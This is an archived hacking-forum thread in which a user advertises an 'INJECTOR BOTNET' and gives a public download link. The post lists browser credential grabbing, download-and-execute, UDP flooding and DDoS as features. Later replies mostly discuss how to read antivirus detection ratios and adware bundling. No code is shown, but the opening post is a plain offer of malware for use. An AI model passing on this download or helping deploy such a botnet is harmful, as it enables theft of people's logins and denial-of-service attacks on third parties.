+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Hacking Tools (https://sinister.ly/Forum-Hacking-Tools)
+--- Thread: INJECTOR BOTNET (/Thread-INJECTOR-BOTNET)
Pages:
1
2
INJECTOR BOTNET - pahan - 01-25-2016
INJECTOR BOTNET
_____________________
![[Image: 1.jpg]](http://4.bp.blogspot.com/-jhEh5f6yYTY/U3MZzBd_dVI/AAAAAAAAA7c/-j55QZzEI4c/s1600/1.jpg)
function:
http grabber (firefox,chrome)
download & execute
udp flood
ddos
chat
massagebox
download: http://ge.tt/2paRDPW2/v/0
RE: INJECTOR BOTNET - Yung Lean - 01-25-2016
Post a virus scan of a file.
Do not virus scan .rar file must be .exe
RE: INJECTOR BOTNET - Dismas - 01-25-2016
(01-25-2016, 09:39 PM)Yung Lean Wrote: Post a virus scan of a file.
Do not virus scan .rar file must be .exe
If that doesn't set off an AV you should be worried.
RE: INJECTOR BOTNET - DarkMuse - 01-25-2016
(01-25-2016, 10:01 PM)Oni Wrote: If that doesn't set off an AV you should be worried.
You know this brings up an interesting point. A lot of new users don't know when a positive virus scan is good or when it is bad. Maybe someone should post a decent tutorial on investigating hacking programs for backdoors and the like.
RE: INJECTOR BOTNET - Yung Lean - 01-25-2016
(01-25-2016, 10:01 PM)Oni Wrote: If that doesn't set off an AV you should be worried.
Even if it does it is still useful to see Virus Scan also should hundreds of people to download crap ware then delete it if they can see virus scan and already decide is it worth to download or not.
RE: INJECTOR BOTNET - aabee - 02-05-2016
(01-25-2016, 10:07 PM)DarkMuse Wrote: You know this brings up an interesting point. A lot of new users don't know when a positive virus scan is good or when it is bad. Maybe someone should post a decent tutorial on investigating hacking programs for backdoors and the like.
It might be good idea and even must-be . Like keygenerators,what are making codes to unlocking paid software are also considered as viruses,but mostly these are not . Otherwise we are in situation,where even some months old programs are marked as viruses and years old programs are almost always with bac scanning ratio .
RE: INJECTOR BOTNET - Satan - 02-05-2016
(02-05-2016, 12:13 PM)aabee Wrote: It might be good idea and even must-be . Like keygenerators,what are making codes to unlocking paid software are also considered as viruses,but mostly these are not . Otherwise we are in situation,where even some months old programs are marked as viruses and years old programs are almost always with bac scanning ratio .
IDK what you're on about, short of said keygen having an attached crack, almost every keygen I've come across comes back as being a virus.
And the second part of your statement makes no sense.
RE: INJECTOR BOTNET - swatterhat - 02-06-2016
Kinda sketchy I guess. But will give it a try on a controlled environment.
RE: INJECTOR BOTNET - mothered - 02-06-2016
(01-25-2016, 10:07 PM)DarkMuse Wrote: A lot of new users don't know when a positive virus scan is good or when it is bad.
This Is so true.
It's the "context" of the detections that should be looked at, and not just solely based on the overall detection rate Itself. I'll provide a simple example. When reputable files (software) from reputable developers are released with an "Ad-Supported" license, when scanned, there are detections- some with quite a high ratio.
The reason being, Is that an Ad-Supported license contains other software binded to It. As a result, the detection can read something like "unwanted program" or "Adware toolbar". This does not mean that the file Is malicious, but more so that the software Is bundled with other software. It's the "binding" of the software that triggers the detection (and In some cases, It's nature). That's how developers make their money when distributing software without cost.
RE: INJECTOR BOTNET - ImmNinjaxD - 02-06-2016
(02-06-2016, 01:46 PM)mothered Wrote: This Is so true.
It's the "context" of the detections that should be looked at, and not just solely based on the overall detection rate Itself. I'll provide a simple example. When reputable files (software) from reputable developers are released with an "Ad-Supported" license, when scanned, there are detections- some with quite a high ratio.
The reason being, Is that an Ad-Supported license contains other software binded to It. As a result, the detection can read something like "unwanted program" or "Adware toolbar". This does not mean that the file Is malicious, but more so that the software Is bundled with other software. It's the "binding" of the software that triggers the detection (and In some cases, It's nature). That's how developers make their money when distributing software without cost.
And of course there are always infected programs with little to no detection ratio (although somewhat rare), so a simple virus scan is not always a surefire way to see if a file is safe or not.